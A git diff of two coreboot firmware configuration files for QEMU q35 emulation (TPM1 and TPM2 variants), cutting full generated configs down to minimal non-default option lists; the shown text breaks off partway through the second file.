b/config/coreboot-qemu-tpm1.config index 41ff1f99e..76ebbc2e8 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -1,563 +1,30 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set CONFIG_CCACHE=y -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y # CONFIG_INCLUDE_CONFIG_FILE is not set -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -CONFIG_NO_STAGE_CACHE=y -# CONFIG_CBMEM_STAGE_CACHE is not set -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -CONFIG_VENDOR_EMULATION=y -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_PART_NUMBER="QEMU x86 q35/ich9" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="emulation/qemu-q35" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" -# CONFIG_NO_POST is not set -CONFIG_MAINBOARD_VENDOR="Emulation" CONFIG_CBFS_SIZE=0x980000 # CONFIG_CONSOLE_SERIAL is not set -CONFIG_MAX_CPUS=4 CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2c -# CONFIG_CHROMEOS is not set -CONFIG_OVERRIDE_DEVICETREE="" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -# CONFIG_CONSOLE_POST is not set -CONFIG_TPM_PIRQ=0x0 -# CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set -# CONFIG_BOARD_EMULATION_QEMU_ARMV7 is not set -# CONFIG_BOARD_EMULATION_QEMU_X86_I440FX is not set -# CONFIG_BOARD_EMULATION_QEMU_POWER8 is not set -# CONFIG_BOARD_EMULATION_QEMU_POWER9 is not set CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y -# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set -# CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set -# CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0x10000 -CONFIG_DCACHE_RAM_SIZE=0x90000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 -CONFIG_DRIVERS_INTEL_WIFI=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" CONFIG_PCIEXP_HOTPLUG_BUSES=32 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" -CONFIG_D3COLD_SUPPORT=y CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -CONFIG_DRIVERS_UART_8250IO=y -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" -CONFIG_BOARD_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set CONFIG_COREBOOT_ROMSIZE_KB_10240=y -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=10240 -CONFIG_ROM_SIZE=0x00a00000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HPET_MIN_TICKS=0x80 CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_QEMU_X86=y -# CONFIG_CPU_QEMU_X86_NO_SMM is not set -CONFIG_CPU_QEMU_X86_ASEG_SMM=y -# CONFIG_CPU_QEMU_X86_TSEG_SMM is not set -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_UNKNOWN_TSC_RATE=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_ASEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y - -# -# Northbridge -# - -# -# Southbridge -# -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_SOUTHBRIDGE_INTEL_I82801IX=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_MAINBOARD_HAS_CHROMEOS=y - -# -# ChromeOS -# -# end of ChromeOS - -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y -CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y -CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_DRIVERS_UART=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1024 CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=768 -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_VGA=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set CONFIG_TPM1=y -# CONFIG_TPM2 is not set -CONFIG_TPM=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -CONFIG_CONSOLE_QEMU_DEBUGCON=y -CONFIG_CONSOLE_QEMU_DEBUGCON_PORT=0x402 -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=6 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_HWBASE_DEBUG_NULL=y -# end of Console - -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_DECOMPRESS_OFAST=y -CONFIG_PROBE_RAM=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index d1a90ff93..26caf3e5c 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -1,556 +1,29 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set CONFIG_CCACHE=y -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y # CONFIG_INCLUDE_CONFIG_FILE is not set -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -CONFIG_NO_STAGE_CACHE=y -# CONFIG_CBMEM_STAGE_CACHE is not set -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -CONFIG_VENDOR_EMULATION=y -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_PART_NUMBER="QEMU x86 q35/ich9" -CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="emulation/qemu-q35" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=256 -CONFIG_FMDFILE="" -# CONFIG_NO_POST is not set -CONFIG_MAINBOARD_VENDOR="Emulation" CONFIG_CBFS_SIZE=0xfe0000 # CONFIG_CONSOLE_SERIAL is not set -CONFIG_MAX_CPUS=4 CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x2c -# CONFIG_CHROMEOS is not set -CONFIG_OVERRIDE_DEVICETREE="" -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -# CONFIG_CONSOLE_POST is not set -CONFIG_TPM_PIRQ=0x0 -# CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set -# CONFIG_BOARD_EMULATION_QEMU_ARMV7 is not set -# CONFIG_BOARD_EMULATION_QEMU_X86_I440FX is not set -# CONFIG_BOARD_EMULATION_QEMU_POWER8 is not set -# CONFIG_BOARD_EMULATION_QEMU_POWER9 is not set 